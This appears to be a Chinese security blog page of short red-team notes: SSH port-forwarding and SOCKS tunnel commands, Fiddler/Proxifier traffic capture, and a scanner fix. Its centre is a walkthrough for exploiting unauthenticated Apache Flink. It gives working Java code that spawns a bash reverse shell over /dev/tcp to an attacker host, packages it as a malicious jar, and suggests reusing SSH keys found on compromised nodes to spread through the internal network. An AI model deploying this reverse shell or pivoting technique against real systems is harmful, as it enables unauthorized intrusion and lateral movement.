分类 网络安全 下的文章

redteam:ssh建立反射建立加密socks

ssh -d 0.0.0.0:1080 root@111.111.111.111 //在本地创建一个socks代理,端口1080
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host 
ssh -C -f -N -g -D listen_port user@Tunnel_Host //将内网ssh机器 

相关参数的解释:
-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。

-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

-C Enable compression.
压缩数据传输。

-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。

ssh -N -f -L vps_port:source_ip:source_port vps_port //端口转发

//建立一个通过123.123.123.123的SOCKS服务器。
ssh -N -f -D 1080 vpsip // 将端口绑定在127.0.0.1上
ssh -N -f -D 0.0.0.0:1080 vpsip // 将端口绑定在0.0.0.0上

Apache Flink未授权访问+反弹shell

某个项目在内网中遇到了Flink未授权访问,做个记录。

访问后点开Submit New Job
右上角Add new上传恶意jar包。
flink
首先用idea新建个项目,内容就反弹shell命令。

public class Revs {
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxxx/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

-w1083
-w543

-w379
-w711

这样一个jar包就制作成功了。
上传后点击jar包名的任务,然后提交。shell已经返回了。

可以注意下,flink是有很多节点的,所以反弹的shell权限用户会有sshkey。可以进一步扩展内网。

针对PC客户端抓包

工具:Fiddler、Proxifer

流程

配置fd的https包解密和http请求捕获
-w1301
-w1321

再从Proxifer配置本地代理服务器https类型
从rule中配置放行fiddler
-w785
然后添加规则指定应用/ip走代理即可。

Cwebscan无法扫描端口问题

Python2下下载了他要求的所有库之后发现还是无法扫描端口,后来pycharm下跟了下,发现是lxml的问题,py2自带的lxml库获取不到内容,只能重新使用pip安装就能解决扫描无法扫描端口的问题。

pip install lxml -i https://pypi.tuna.tsinghua.edu.cn/simple

-w600